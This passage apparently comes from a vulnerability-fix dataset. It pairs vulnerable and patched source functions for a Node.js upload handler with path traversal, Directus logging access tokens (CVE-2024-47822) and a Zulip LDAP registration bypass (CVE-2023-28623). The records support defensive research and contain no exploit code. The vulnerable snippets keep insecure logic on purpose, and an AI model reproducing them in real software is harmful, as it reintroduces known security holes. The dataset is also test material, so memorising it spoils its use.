    fileSize: 1024 * 1024 * 3 // 3mb limit\n     }\n   })\n+\n+  const allowedExts = ['.png', '.jpg', '.jpeg', '.gif']\n \n   const object = {}\n   let error\n@@ -22,7 +24,8 @@\n     const filename = info.filename\n     const mimetype = info.mimeType\n     const ext = path.extname(filename)\n-    if (mimetype.indexOf('image/') === -1 || ext === '.svg') {\n+\n+    if (!allowedExts.includes(ext)) {\n       error = {\n         status: 400,\n         message: 'Invalid File Type'\n@@ -34,8 +37,9 @@\n     const savePath = path.join(__dirname, '../../public/uploads/users')\n     if (!fs.existsSync(savePath)) fs.mkdirSync(savePath)\n \n-    object.filePath = path.join(savePath, 'aProfile_' + object.username + path.extname(filename))\n     object.filename = 'aProfile_' + object.username + path.extname(filename)\n+    object.filename = object.filename.replace('/', '').replace('..', '')\n+    object.filePath = path.join(savePath, object.filename)\n     object.mimetype = mimetype\n \n     file.on('limit', function () {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47822", "cve_description": "Directus is a real-time API and App dashboard for managing SQL database content. Access tokens from query strings are not redacted and are potentially exposed in system logs which may be persisted. The access token in `req.query` is not redacted when the `LOG_STYLE` is set to `raw`. If these logs are not properly sanitized or protected, an attacker with access to it can potentially gain administrative control, leading to unauthorized data access and manipulation. This impacts systems where the `LOG_STYLE` is set to `raw`. The `access_token` in the query could potentially be a long-lived static token. Users with impacted systems should rotate their static tokens if they were provided using query string. This vulnerability has been patched in release version 10.13.2 and subsequent releases as well. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/directus/directus", "patch_url": ["https://github.com/directus/directus/commit/2e893f9c576d5a02506272fe2c0bcc12e6c58768"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_77_1", "commit": "4094e93", "file_path": "api/src/logger/index.ts", "start_line": "72", "end_line": "163", "snippet": "export const createExpressLogger = () => {\n\tconst env = useEnv();\n\n\tconst httpLoggerEnvConfig = getConfigFromEnv('LOGGER_HTTP', ['LOGGER_HTTP_LOGGER']);\n\tconst loggerEnvConfig = getConfigFromEnv('LOGGER_', 'LOGGER_HTTP');\n\n\tconst httpLoggerOptions: LoggerOptions = {\n\t\tlevel: (env['LOG_LEVEL'] as string) || 'info',\n\t\tredact: {\n\t\t\tpaths: ['req.headers.authorization', 'req.headers.cookie'],\n\t\t\tcensor: REDACTED_TEXT,\n\t\t},\n\t};\n\n\tif (env['LOG_STYLE'] !== 'raw') {\n\t\thttpLoggerOptions.transport = {\n\t\t\ttarget: 'pino-http-print',\n\t\t\toptions: {\n\t\t\t\tall: true,\n\t\t\t\ttranslateTime: 'SYS:HH:MM:ss',\n\t\t\t\trelativeUrl: true,\n\t\t\t\tprettyOptions: {\n\t\t\t\t\tignore: 'hostname,pid',\n\t\t\t\t\tsync: true,\n\t\t\t\t},\n\t\t\t},\n\t\t};\n\t}\n\n\tif (env['LOG_STYLE'] === 'raw') {\n\t\thttpLoggerOptions.redact = {\n\t\t\tpaths: ['req.headers.authorization', 'req.headers.cookie', 'res.headers'],\n\t\t\tcensor: (value, pathParts) => {\n\t\t\t\tconst path = pathParts.join('.');\n\n\t\t\t\tif (path === 'res.headers') {\n\t\t\t\t\tif ('set-cookie' in value) {\n\t\t\t\t\t\tvalue['set-cookie'] = REDACTED_TEXT;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\n\t\t\t\treturn REDACTED_TEXT;\n\t\t\t},\n\t\t};\n\t}\n\n\t// Expose custom log levels into formatter function\n\tif (loggerEnvConfig['levels']) {\n\t\tconst customLogLevels: { [key: string]: string } = {};\n\n\t\tfor (const el of toArray(loggerEnvConfig['levels'])) {\n\t\t\tconst key_val = el.split(':');\n\t\t\tcustomLogLevels[key_val[0].trim()] = key_val[1].trim();\n\t\t}\n\n\t\thttpLoggerOptions.formatters = {\n\t\t\tlevel(label: string, number: any) {\n\t\t\t\treturn {\n\t\t\t\t\tseverity: customLogLevels[label] || 'info',\n\t\t\t\t\tlevel: number,\n\t\t\t\t};\n\t\t\t},\n\t\t};\n\n\t\tdelete loggerEnvConfig['levels'];\n\t}\n\n\tif (env['LOG_HTTP_IGNORE_PATHS']) {\n\t\tconst ignorePathsSet = new Set(env['LOG_HTTP_IGNORE_PATHS'] as string);\n\n\t\thttpLoggerEnvConfig['autoLogging'] = {\n\t\t\tignore: (req) => {\n\t\t\t\tif (!req.url) return false;\n\t\t\t\tconst { pathname } = new URL(req.url, 'http://example.com/');\n\t\t\t\treturn ignorePathsSet.has(pathname);\n\t\t\t},\n\t\t} as AutoLoggingOptions;\n\t}\n\n\treturn pinoHttp({\n\t\tlogger: pino(merge(httpLoggerOptions, loggerEnvConfig)),\n\t\t...httpLoggerEnvConfig,\n\t\tserializers: {\n\t\t\treq(request: Request) {\n\t\t\t\tconst output = stdSerializers.req(request);\n\t\t\t\toutput.url = redactQuery(output.url);\n\t\t\t\treturn output;\n\t\t\t},\n\t\t},\n\t}) as RequestHandler;"}], "fix_func": [{"id": "fix_js_77_1", "commit": "2e893f9", "file_path": "api/src/logger/index.ts", "start_line": "72", "end_line": "163", "snippet": "export const createExpressLogger = () => {\n\tconst env = useEnv();\n\n\tconst httpLoggerEnvConfig = getConfigFromEnv('LOGGER_HTTP', ['LOGGER_HTTP_LOGGER']);\n\tconst loggerEnvConfig = getConfigFromEnv('LOGGER_', 'LOGGER_HTTP');\n\n\tconst httpLoggerOptions: LoggerOptions = {\n\t\tlevel: (env['LOG_LEVEL'] as string) || 'info',\n\t\tredact: {\n\t\t\tpaths: ['req.headers.authorization', 'req.headers.cookie'],\n\t\t\tcensor: REDACTED_TEXT,\n\t\t},\n\t};\n\n\tif (env['LOG_STYLE'] !== 'raw') {\n\t\thttpLoggerOptions.transport = {\n\t\t\ttarget: 'pino-http-print',\n\t\t\toptions: {\n\t\t\t\tall: true,\n\t\t\t\ttranslateTime: 'SYS:HH:MM:ss',\n\t\t\t\trelativeUrl: true,\n\t\t\t\tprettyOptions: {\n\t\t\t\t\tignore: 'hostname,pid',\n\t\t\t\t\tsync: true,\n\t\t\t\t},\n\t\t\t},\n\t\t};\n\t}\n\n\tif (env['LOG_STYLE'] === 'raw') {\n\t\thttpLoggerOptions.redact = {\n\t\t\tpaths: ['req.headers.authorization', 'req.headers.cookie', 'res.headers', 'req.query.access_token'],\n\t\t\tcensor: (value, pathParts) => {\n\t\t\t\tconst path = pathParts.join('.');\n\n\t\t\t\tif (path === 'res.headers') {\n\t\t\t\t\tif ('set-cookie' in value) {\n\t\t\t\t\t\tvalue['set-cookie'] = REDACTED_TEXT;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\n\t\t\t\treturn REDACTED_TEXT;\n\t\t\t},\n\t\t};\n\t}\n\n\t// Expose custom log levels into formatter function\n\tif (loggerEnvConfig['levels']) {\n\t\tconst customLogLevels: { [key: string]: string } = {};\n\n\t\tfor (const el of toArray(loggerEnvConfig['levels'])) {\n\t\t\tconst key_val = el.split(':');\n\t\t\tcustomLogLevels[key_val[0].trim()] = key_val[1].trim();\n\t\t}\n\n\t\thttpLoggerOptions.formatters = {\n\t\t\tlevel(label: string, number: any) {\n\t\t\t\treturn {\n\t\t\t\t\tseverity: customLogLevels[label] || 'info',\n\t\t\t\t\tlevel: number,\n\t\t\t\t};\n\t\t\t},\n\t\t};\n\n\t\tdelete loggerEnvConfig['levels'];\n\t}\n\n\tif (env['LOG_HTTP_IGNORE_PATHS']) {\n\t\tconst ignorePathsSet = new Set(env['LOG_HTTP_IGNORE_PATHS'] as string);\n\n\t\thttpLoggerEnvConfig['autoLogging'] = {\n\t\t\tignore: (req) => {\n\t\t\t\tif (!req.url) return false;\n\t\t\t\tconst { pathname } = new URL(req.url, 'http://example.com/');\n\t\t\t\treturn ignorePathsSet.has(pathname);\n\t\t\t},\n\t\t} as AutoLoggingOptions;\n\t}\n\n\treturn pinoHttp({\n\t\tlogger: pino(merge(httpLoggerOptions, loggerEnvConfig)),\n\t\t...httpLoggerEnvConfig,\n\t\tserializers: {\n\t\t\treq(request: Request) {\n\t\t\t\tconst output = stdSerializers.req(request);\n\t\t\t\toutput.url = redactQuery(output.url);\n\t\t\t\treturn output;\n\t\t\t},\n\t\t},\n\t}) as RequestHandler;"}], "vul_patch": "--- a/api/src/logger/index.ts\n+++ b/api/src/logger/index.ts\n@@ -29,7 +29,7 @@\n \n \tif (env['LOG_STYLE'] === 'raw') {\n \t\thttpLoggerOptions.redact = {\n-\t\t\tpaths: ['req.headers.authorization', 'req.headers.cookie', 'res.headers'],\n+\t\t\tpaths: ['req.headers.authorization', 'req.headers.cookie', 'res.headers', 'req.query.access_token'],\n \t\t\tcensor: (value, pathParts) => {\n \t\t\t\tconst path = pathParts.join('.');\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28623", "cve_description": "Zulip is an open-source team collaboration tool with unique topic-based threading. In the event that 1: `ZulipLDAPAuthBackend` and an external authentication backend (any aside of `ZulipLDAPAuthBackend` and `EmailAuthBackend`) are the only ones enabled in `AUTHENTICATION_BACKENDS` in `/etc/zulip/settings.py` and 2: The organization permissions don't require invitations to join. An attacker can create a new account in the organization with an arbitrary email address in their control that's not in the organization's LDAP directory. The impact is limited to installations which have this specific combination of authentication backends as described above in addition to having `Invitations are required for joining this organization` organization permission disabled. This issue has been addressed in version 6.2. Users are advised to upgrade. Users unable to upgrade may enable the `Invitations are required for joining this organization` organization permission to prevent this issue.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/3df1b4dd7c210c21deb6f829df19412b74573f8d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_119_1", "commit": "baf9382", "file_path": "zerver/views/registration.py", "start_line": 148, "end_line": 522, "snippet": "@require_post\n@has_request_variables\ndef accounts_register(\n    request: HttpRequest,\n    key: str = REQ(default=\"\"),\n    timezone: str = REQ(default=\"\", converter=to_timezone_or_empty),\n    from_confirmation: Optional[str] = REQ(default=None),\n    form_full_name: Optional[str] = REQ(\"full_name\", default=None),\n    source_realm_id: Optional[int] = REQ(\n        default=None, converter=to_converted_or_fallback(to_non_negative_int, None)\n    ),\n) -> HttpResponse:\n    try:\n        prereg_user = check_prereg_key(request, key)\n    except ConfirmationKeyError as e:\n        return render_confirmation_key_error(request, e)\n\n    email = prereg_user.email\n    realm_creation = prereg_user.realm_creation\n    password_required = prereg_user.password_required\n\n    role = prereg_user.invited_as\n    if realm_creation:\n        role = UserProfile.ROLE_REALM_OWNER\n\n    try:\n        validators.validate_email(email)\n    except ValidationError:\n        return render(request, \"zerver/invalid_email.html\", context={\"invalid_email\": True})\n\n    if realm_creation:\n        # For creating a new realm, there is no existing realm or domain\n        realm = None\n    else:\n        assert prereg_user.realm is not None\n        if get_subdomain(request) != prereg_user.realm.string_id:\n            return render_confirmation_key_error(\n                request, ConfirmationKeyError(ConfirmationKeyError.DOES_NOT_EXIST)\n            )\n        realm = prereg_user.realm\n        try:\n            email_allowed_for_realm(email, realm)\n        except DomainNotAllowedForRealmError:\n            return render(\n                request,\n                \"zerver/invalid_email.html\",\n                context={\"realm_name\": realm.name, \"closed_domain\": True},\n            )\n        except DisposableEmailError:\n            return render(\n                request,\n                \"zerver/invalid_email.html\",\n                context={\"realm_name\": realm.name, \"disposable_emails_not_allowed\": True},\n            )\n        except EmailContainsPlusError:\n            return render(\n                request,\n                \"zerver/invalid_email.html\",\n                context={\"realm_name\": realm.name, \"email_contains_plus\": True},\n            )\n\n        if realm.deactivated:\n            # The user is trying to register for a deactivated realm. Advise them to\n            # contact support.\n            return redirect_to_deactivation_notice()\n\n        try:\n            validate_email_not_already_in_realm(realm, email)\n        except ValidationError:\n            return redirect_to_email_login_url(email)\n\n        if settings.BILLING_ENABLED:\n            try:\n                check_spare_licenses_available_for_registering_new_user(realm, email, role=role)\n            except LicenseLimitError:\n                return render(request, \"zerver/no_spare_licenses.html\")\n\n    name_validated = False\n    require_ldap_password = False\n\n    if from_confirmation:\n        try:\n            del request.session[\"authenticated_full_name\"]\n        except KeyError:\n            pass\n\n        ldap_full_name = None\n        if settings.POPULATE_PROFILE_VIA_LDAP:\n            # If the user can be found in LDAP, we'll take the full name from the directory,\n            # and further down create a form pre-filled with it.\n            for backend in get_backends():\n                if isinstance(backend, LDAPBackend):\n                    try:\n                        ldap_username = backend.django_to_ldap_username(email)\n                    except NoMatchingLDAPUserError:\n                        logging.warning(\"New account email %s could not be found in LDAP\", email)\n                        break\n\n                    # Note that this `ldap_user` object is not a\n                    # `ZulipLDAPUser` with a `Realm` attached, so\n                    # calling `.populate_user()` on it will crash.\n                    # This is OK, since we're just accessing this user\n                    # to extract its name.\n                    #\n                    # TODO: We should potentially be accessing this\n                    # user to sync its initial avatar and custom\n                    # profile fields as well, if we indeed end up\n                    # creating a user account through this flow,\n                    # rather than waiting until `manage.py\n                    # sync_ldap_user_data` runs to populate it.\n                    ldap_user = _LDAPUser(backend, ldap_username)\n\n                    try:\n                        ldap_full_name = backend.get_mapped_name(ldap_user)\n                    except TypeError:\n                        break\n\n                    # Check whether this is ZulipLDAPAuthBackend,\n                    # which is responsible for authentication and\n                    # requires that LDAP accounts enter their LDAP\n                    # password to register, or ZulipLDAPUserPopulator,\n                    # which just populates UserProfile fields (no auth).\n                    require_ldap_password = isinstance(backend, ZulipLDAPAuthBackend)\n                    break\n\n        if ldap_full_name:\n            # We don't use initial= here, because if the form is\n            # complete (that is, no additional fields need to be\n            # filled out by the user) we want the form to validate,\n            # so they can be directly registered without having to\n            # go through this interstitial.\n            form = RegistrationForm({\"full_name\": ldap_full_name}, realm_creation=realm_creation)\n            request.session[\"authenticated_full_name\"] = ldap_full_name\n            name_validated = True\n        elif realm is not None and realm.is_zephyr_mirror_realm:\n            # For MIT users, we can get an authoritative name from Hesiod.\n            # Technically we should check that this is actually an MIT\n            # realm, but we can cross that bridge if we ever get a non-MIT\n            # zephyr mirroring realm.\n            hesiod_name = compute_mit_user_fullname(email)\n            form = RegistrationForm(\n                initial={\"full_name\": hesiod_name if \"@\" not in hesiod_name else \"\"},\n                realm_creation=realm_creation,\n            )\n            name_validated = True\n        elif prereg_user.full_name:\n            if prereg_user.full_name_validated:\n                request.session[\"authenticated_full_name\"] = prereg_user.full_name\n                name_validated = True\n                form = RegistrationForm(\n                    {\"full_name\": prereg_user.full_name}, realm_creation=realm_creation\n                )\n            else:\n                form = RegistrationForm(\n                    initial={\"full_name\": prereg_user.full_name}, realm_creation=realm_creation\n                )\n        elif form_full_name is not None:\n            form = RegistrationForm(\n                initial={\"full_name\": form_full_name},\n                realm_creation=realm_creation,\n            )\n        else:\n            form = RegistrationForm(realm_creation=realm_creation)\n    else:\n        postdata = request.POST.copy()\n        if name_changes_disabled(realm):\n            # If we populate profile information via LDAP and we have a\n            # verified name from you on file, use that. Otherwise, fall\n            # back to the full name in the request.\n            try:\n                postdata.update(full_name=request.session[\"authenticated_full_name\"])\n                name_validated = True\n            except KeyError:\n                pass\n        form = RegistrationForm(postdata, realm_creation=realm_creation)\n\n    if not (password_auth_enabled(realm) and password_required):\n        form[\"password\"].field.required = False\n\n    if form.is_valid():\n        if password_auth_enabled(realm) and form[\"password\"].field.required:\n            password = form.cleaned_data[\"password\"]\n        else:\n            # If the user wasn't prompted for a password when\n            # completing the authentication form (because they're\n            # signing up with SSO and no password is required), set\n            # the password field to `None` (Which causes Django to\n            # create an unusable password).\n            password = None\n\n        if realm_creation:\n            string_id = form.cleaned_data[\"realm_subdomain\"]\n            realm_name = form.cleaned_data[\"realm_name\"]\n            realm_type = form.cleaned_data[\"realm_type\"]\n            is_demo_org = form.cleaned_data[\"is_demo_organization\"]\n            realm = do_create_realm(\n                string_id, realm_name, org_type=realm_type, is_demo_organization=is_demo_org\n            )\n        assert realm is not None\n\n        full_name = form.cleaned_data[\"full_name\"]\n        enable_marketing_emails = form.cleaned_data[\"enable_marketing_emails\"]\n        default_stream_group_names = request.POST.getlist(\"default_stream_group\")\n        default_stream_groups = lookup_default_stream_groups(default_stream_group_names, realm)\n\n        if source_realm_id is not None:\n            # Non-integer realm_id values like \"string\" are treated\n            # like the \"Do not import\" value of \"\".\n            source_profile: Optional[UserProfile] = get_source_profile(email, source_realm_id)\n        else:\n            source_profile = None\n\n        if not realm_creation:\n            try:\n                existing_user_profile: Optional[UserProfile] = get_user_by_delivery_email(\n                    email, realm\n                )\n            except UserProfile.DoesNotExist:\n                existing_user_profile = None\n        else:\n            existing_user_profile = None\n\n        user_profile: Optional[UserProfile] = None\n        return_data: Dict[str, bool] = {}\n        if ldap_auth_enabled(realm):\n            # If the user was authenticated using an external SSO\n            # mechanism like Google or GitHub auth, then authentication\n            # will have already been done before creating the\n            # PreregistrationUser object with password_required=False, and\n            # so we don't need to worry about passwords.\n            #\n            # If instead the realm is using EmailAuthBackend, we will\n            # set their password above.\n            #\n            # But if the realm is using LDAPAuthBackend, we need to verify\n            # their LDAP password (which will, as a side effect, create\n            # the user account) here using authenticate.\n            # prereg_user.realm_creation carries the information about whether\n            # we're in realm creation mode, and the ldap flow will handle\n            # that and create the user with the appropriate parameters.\n            user = authenticate(\n                request=request,\n                username=email,\n                password=password,\n                realm=realm,\n                prereg_user=prereg_user,\n                return_data=return_data,\n            )\n            if user is None:\n                can_use_different_backend = email_auth_enabled(realm) or (\n                    len(get_external_method_dicts(realm)) > 0\n                )\n                if settings.LDAP_APPEND_DOMAIN:\n                    # In LDAP_APPEND_DOMAIN configurations, we don't allow making a non-LDAP account\n                    # if the email matches the ldap domain.\n                    can_use_different_backend = can_use_different_backend and (\n                        not email_belongs_to_ldap(realm, email)\n                    )\n                if return_data.get(\"no_matching_ldap_user\") and can_use_different_backend:\n                    # If both the LDAP and Email or Social auth backends are\n                    # enabled, and there's no matching user in the LDAP\n                    # directory then the intent is to create a user in the\n                    # realm with their email outside the LDAP organization\n                    # (with e.g. a password stored in the Zulip database,\n                    # not LDAP).  So we fall through and create the new\n                    # account.\n                    pass\n                else:\n                    # TODO: This probably isn't going to give a\n                    # user-friendly error message, but it doesn't\n                    # particularly matter, because the registration form\n                    # is hidden for most users.\n                    view_url = reverse(\"login\")\n                    query = urlencode({\"email\": email})\n                    redirect_url = append_url_query_string(view_url, query)\n                    return HttpResponseRedirect(redirect_url)\n            else:\n                assert isinstance(user, UserProfile)\n                user_profile = user\n                if not realm_creation:\n                    # Since we'll have created a user, we now just log them in.\n                    return login_and_go_to_home(request, user_profile)\n                # With realm_creation=True, we're going to return further down,\n                # after finishing up the creation process.\n\n        if existing_user_profile is not None and existing_user_profile.is_mirror_dummy:\n            user_profile = existing_user_profile\n            do_activate_mirror_dummy_user(user_profile, acting_user=user_profile)\n            do_change_password(user_profile, password)\n            do_change_full_name(user_profile, full_name, user_profile)\n            do_change_user_setting(user_profile, \"timezone\", timezone, acting_user=user_profile)\n            do_change_user_setting(\n                user_profile,\n                \"default_language\",\n                get_default_language_for_new_user(request, realm),\n                acting_user=None,\n            )\n            # TODO: When we clean up the `do_activate_mirror_dummy_user` code path,\n            # make it respect invited_as_admin / is_realm_admin.\n\n        if user_profile is None:\n            user_profile = do_create_user(\n                email,\n                password,\n                realm,\n                full_name,\n                prereg_user=prereg_user,\n                role=role,\n                tos_version=settings.TERMS_OF_SERVICE_VERSION,\n                timezone=timezone,\n                default_language=get_default_language_for_new_user(request, realm),\n                default_stream_groups=default_stream_groups,\n                source_profile=source_profile,\n                realm_creation=realm_creation,\n                acting_user=None,\n                enable_marketing_emails=enable_marketing_emails,\n            )\n\n        if realm_creation:\n            # Because for realm creation, registration happens on the\n            # root domain, we need to log them into the subdomain for\n            # their new realm.\n            return redirect_and_log_into_subdomain(\n                ExternalAuthResult(user_profile=user_profile, data_dict={\"is_realm_creation\": True})\n            )\n\n        # This dummy_backend check below confirms the user is\n        # authenticating to the correct subdomain.\n        auth_result = authenticate(\n            username=user_profile.delivery_email,\n            realm=realm,\n            return_data=return_data,\n            use_dummy_backend=True,\n        )\n        if return_data.get(\"invalid_subdomain\"):\n            # By construction, this should never happen.\n            logging.error(\n                \"Subdomain mismatch in registration %s: %s\",\n                realm.subdomain,\n                user_profile.delivery_email,\n            )\n            return redirect(\"/\")\n\n        assert isinstance(auth_result, UserProfile)\n        return login_and_go_to_home(request, auth_result)\n\n    return render(\n        request,\n        \"zerver/register.html\",\n        context={\n            \"form\": form,\n            \"email\": email,\n            \"key\": key,\n            \"full_name\": request.session.get(\"authenticated_full_name\", None),\n            \"lock_name\": name_validated and name_changes_disabled(realm),\n            # password_auth_enabled is normally set via our context processor,\n            # but for the registration form, there is no logged in user yet, so\n            # we have to set it here.\n            \"creating_new_team\": realm_creation,\n            \"password_required\": password_auth_enabled(realm) and password_required,\n            \"require_ldap_password\": require_ldap_password,\n            \"password_auth_enabled\": password_auth_enabled(realm),\n            \"root_domain_available\": is_root_domain_available(),\n            \"default_stream_groups\": [] if realm is None else get_default_stream_groups(realm),\n            \"accounts\": get_accounts_for_email(email),\n            \"MAX_REALM_NAME_LENGTH\": str(Realm.MAX_REALM_NAME_LENGTH),\n            \"MAX_NAME_LENGTH\": str(UserProfile.MAX_NAME_LENGTH),\n            \"MAX_PASSWORD_LENGTH\": str(form.MAX_PASSWORD_LENGTH),\n            \"MAX_REALM_SUBDOMAIN_LENGTH\": str(Realm.MAX_REALM_SUBDOMAIN_LENGTH),\n            \"corporate_enabled\": settings.CORPORATE_ENABLED,\n            \"sorted_realm_types\": sorted(\n                Realm.ORG_TYPES.values(), key=lambda d: d[\"display_order\"]\n            ),\n        },\n    )"}], "fix_func": [{"id": "fix_py_119_1", "commit": "3df1b4d", "file_path": "zerver/views/registration.py", "start_line": 148, "end_line": 545, "snippet": "@require_post\n@has_request_variables\ndef accounts_register(\n    request: HttpRequest,\n    key: str = REQ(default=\"\"),\n    timezone: str = REQ(default=\"\", converter=to_timezone_or_empty),\n    from_confirmation: Optional[str] = REQ(default=None),\n    form_full_name: Optional[str] = REQ(\"full_name\", default=None),\n    source_realm_id: Optional[int] = REQ(\n        default=None, converter=to_converted_or_fallback(to_non_negative_int, None)\n    ),\n) -> HttpResponse:\n    try:\n        prereg_user = check_prereg_key(request, key)\n    except ConfirmationKeyError as e:\n        return render_confirmation_key_error(request, e)\n\n    email = prereg_user.email\n    realm_creation = prereg_user.realm_creation\n    password_required = prereg_user.password_required\n\n    role = prereg_user.invited_as\n    if realm_creation:\n        role = UserProfile.ROLE_REALM_OWNER\n\n    try:\n        validators.validate_email(email)\n    except ValidationError:\n        return render(request, \"zerver/invalid_email.html\", context={\"invalid_email\": True})\n\n    if realm_creation:\n        # For creating a new realm, there is no existing realm or domain\n        realm = None\n    else:\n        assert prereg_user.realm is not None\n        if get_subdomain(request) != prereg_user.realm.string_id:\n            return render_confirmation_key_error(\n                request, ConfirmationKeyError(ConfirmationKeyError.DOES_NOT_EXIST)\n            )\n        realm = prereg_user.realm\n        try:\n            email_allowed_for_realm(email, realm)\n        except DomainNotAllowedForRealmError:\n            return render(\n                request,\n                \"zerver/invalid_email.html\",\n                context={\"realm_name\": realm.name, \"closed_domain\": True},\n            )\n        except DisposableEmailError:\n            return render(\n                request,\n                \"zerver/invalid_email.html\",\n                context={\"realm_name\": realm.name, \"disposable_emails_not_allowed\": True},\n            )\n        except EmailContainsPlusError:\n            return render(\n                request,\n                \"zerver/invalid_email.html\",\n                context={\"realm_name\": realm.name, \"email_contains_plus\": True},\n            )\n\n        if realm.deactivated:\n            # The user is trying to register for a deactivated realm. Advise them to\n            # contact support.\n            return redirect_to_deactivation_notice()\n\n        try:\n            validate_email_not_already_in_realm(realm, email)\n        except ValidationError:\n            return redirect_to_email_login_url(email)\n\n        if settings.BILLING_ENABLED:\n            try:\n                check_spare_licenses_available_for_registering_new_user(realm, email, role=role)\n            except LicenseLimitError:\n                return render(request, \"zerver/no_spare_licenses.html\")\n\n    name_validated = False\n    require_ldap_password = False\n\n    if from_confirmation:\n        try:\n            del request.session[\"authenticated_full_name\"]\n        except KeyError:\n            pass\n\n        ldap_full_name = None\n        if settings.POPULATE_PROFILE_VIA_LDAP:\n            # If the user can be found in LDAP, we'll take the full name from the directory,\n            # and further down create a form pre-filled with it.\n            for backend in get_backends():\n                if isinstance(backend, LDAPBackend):\n                    try:\n                        ldap_username = backend.django_to_ldap_username(email)\n                    except NoMatchingLDAPUserError:\n                        logging.warning(\"New account email %s could not be found in LDAP\", email)\n                        break\n\n                    # Note that this `ldap_user` object is not a\n                    # `ZulipLDAPUser` with a `Realm` attached, so\n                    # calling `.populate_user()` on it will crash.\n                    # This is OK, since we're just accessing this user\n                    # to extract its name.\n                    #\n                    # TODO: We should potentially be accessing this\n                    # user to sync its initial avatar and custom\n                    # profile fields as well, if we indeed end up\n                    # creating a user account through this flow,\n                    # rather than waiting until `manage.py\n                    # sync_ldap_user_data` runs to populate it.\n                    ldap_user = _LDAPUser(backend, ldap_username)\n\n                    try:\n                        ldap_full_name = backend.get_mapped_name(ldap_user)\n                    except TypeError:\n                        break\n\n                    # Check whether this is ZulipLDAPAuthBackend,\n                    # which is responsible for authentication and\n                    # requires that LDAP accounts enter their LDAP\n                    # password to register, or ZulipLDAPUserPopulator,\n                    # which just populates UserProfile fields (no auth).\n                    require_ldap_password = isinstance(backend, ZulipLDAPAuthBackend)\n                    break\n\n        if ldap_full_name:\n            # We don't use initial= here, because if the form is\n            # complete (that is, no additional fields need to be\n            # filled out by the user) we want the form to validate,\n            # so they can be directly registered without having to\n            # go through this interstitial.\n            form = RegistrationForm({\"full_name\": ldap_full_name}, realm_creation=realm_creation)\n            request.session[\"authenticated_full_name\"] = ldap_full_name\n            name_validated = True\n        elif realm is not None and realm.is_zephyr_mirror_realm:\n            # For MIT users, we can get an authoritative name from Hesiod.\n            # Technically we should check that this is actually an MIT\n            # realm, but we can cross that bridge if we ever get a non-MIT\n            # zephyr mirroring realm.\n            hesiod_name = compute_mit_user_fullname(email)\n            form = RegistrationForm(\n                initial={\"full_name\": hesiod_name if \"@\" not in hesiod_name else \"\"},\n                realm_creation=realm_creation,\n            )\n            name_validated = True\n        elif prereg_user.full_name:\n            if prereg_user.full_name_validated:\n                request.session[\"authenticated_full_name\"] = prereg_user.full_name\n                name_validated = True\n                form = RegistrationForm(\n                    {\"full_name\": prereg_user.full_name}, realm_creation=realm_creation\n                )\n            else:\n                form = RegistrationForm(\n                    initial={\"full_name\": prereg_user.full_name}, realm_creation=realm_creation\n                )\n        elif form_full_name is not None:\n            form = RegistrationForm(\n                initial={\"full_name\": form_full_name},\n                realm_creation=realm_creation,\n            )\n        else:\n            form = RegistrationForm(realm_creation=realm_creation)\n    else:\n        postdata = request.POST.copy()\n        if name_changes_disabled(realm):\n            # If we populate profile information via LDAP and we have a\n            # verified name from you on file, use that. Otherwise, fall\n            # back to the full name in the request.\n            try:\n                postdata.update(full_name=request.session[\"authenticated_full_name\"])\n                name_validated = True\n            except KeyError:\n                pass\n        form = RegistrationForm(postdata, realm_creation=realm_creation)\n\n    if not (password_auth_enabled(realm) and password_required):\n        form[\"password\"].field.required = False\n\n    if form.is_valid():\n        if password_auth_enabled(realm) and form[\"password\"].field.required:\n            password = form.cleaned_data[\"password\"]\n        else:\n            # If the user wasn't prompted for a password when\n            # completing the authentication form (because they're\n            # signing up with SSO and no password is required), set\n            # the password field to `None` (Which causes Django to\n            # create an unusable password).\n            password = None\n\n        if realm_creation:\n            string_id = form.cleaned_data[\"realm_subdomain\"]\n            realm_name = form.cleaned_data[\"realm_name\"]\n            realm_type = form.cleaned_data[\"realm_type\"]\n            is_demo_org = form.cleaned_data[\"is_demo_organization\"]\n            realm = do_create_realm(\n                string_id, realm_name, org_type=realm_type, is_demo_organization=is_demo_org\n            )\n        assert realm is not None\n\n        full_name = form.cleaned_data[\"full_name\"]\n        enable_marketing_emails = form.cleaned_data[\"enable_marketing_emails\"]\n        default_stream_group_names = request.POST.getlist(\"default_stream_group\")\n        default_stream_groups = lookup_default_stream_groups(default_stream_group_names, realm)\n\n        if source_realm_id is not None:\n            # Non-integer realm_id values like \"string\" are treated\n            # like the \"Do not import\" value of \"\".\n            source_profile: Optional[UserProfile] = get_source_profile(email, source_realm_id)\n        else:\n            source_profile = None\n\n        if not realm_creation:\n            try:\n                existing_user_profile: Optional[UserProfile] = get_user_by_delivery_email(\n                    email, realm\n                )\n            except UserProfile.DoesNotExist:\n                existing_user_profile = None\n        else:\n            existing_user_profile = None\n\n        user_profile: Optional[UserProfile] = None\n        return_data: Dict[str, bool] = {}\n        if ldap_auth_enabled(realm):\n            # If the user was authenticated using an external SSO\n            # mechanism like Google or GitHub auth, then authentication\n            # will have already been done before creating the\n            # PreregistrationUser object with password_required=False, and\n            # so we don't need to worry about passwords.\n            #\n            # If instead the realm is using EmailAuthBackend, we will\n            # set their password above.\n            #\n            # But if the realm is using LDAPAuthBackend, we need to verify\n            # their LDAP password (which will, as a side effect, create\n            # the user account) here using authenticate.\n            # prereg_user.realm_creation carries the information about whether\n            # we're in realm creation mode, and the ldap flow will handle\n            # that and create the user with the appropriate parameters.\n            user = authenticate(\n                request=request,\n                username=email,\n                password=password,\n                realm=realm,\n                prereg_user=prereg_user,\n                return_data=return_data,\n            )\n            if user is None:\n                # This logic is security-sensitive. The user has NOT been successfully authenticated\n                # with LDAP and we need to carefully decide whether they should be permitted to proceed\n                # with account creation anyway or be stopped. There are three scenarios to consider:\n                #\n                # 1. EmailAuthBackend is enabled for the realm. That explicitly means 